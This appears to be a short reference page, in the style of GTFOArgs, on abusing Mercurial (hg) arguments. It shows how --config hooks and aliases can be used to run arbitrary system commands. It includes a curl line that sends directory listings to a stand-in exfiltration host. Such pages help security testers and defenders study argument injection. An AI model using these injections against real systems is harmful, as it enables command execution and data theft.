.. / hg

Star

• Command
• File upload

hg (Mercurial) is a source control management tool.

Command

It can be used to break out from the intended program by running non-interactive system commands.

• hg init --config=hooks.pre-init="sh -c 'ls'"

• hg init --config=alias.init="!uname -a"

• hg cat '--config=alias.cat=!touch /tmp/foo'

• hg clone '--config=alias.clone=!touch /tmp/foo'

File upload

It can exfiltrate files on the network.

• hg init --config=alias.identify=!curl http://exfiltration-host.tld --data "$(ls -alh)"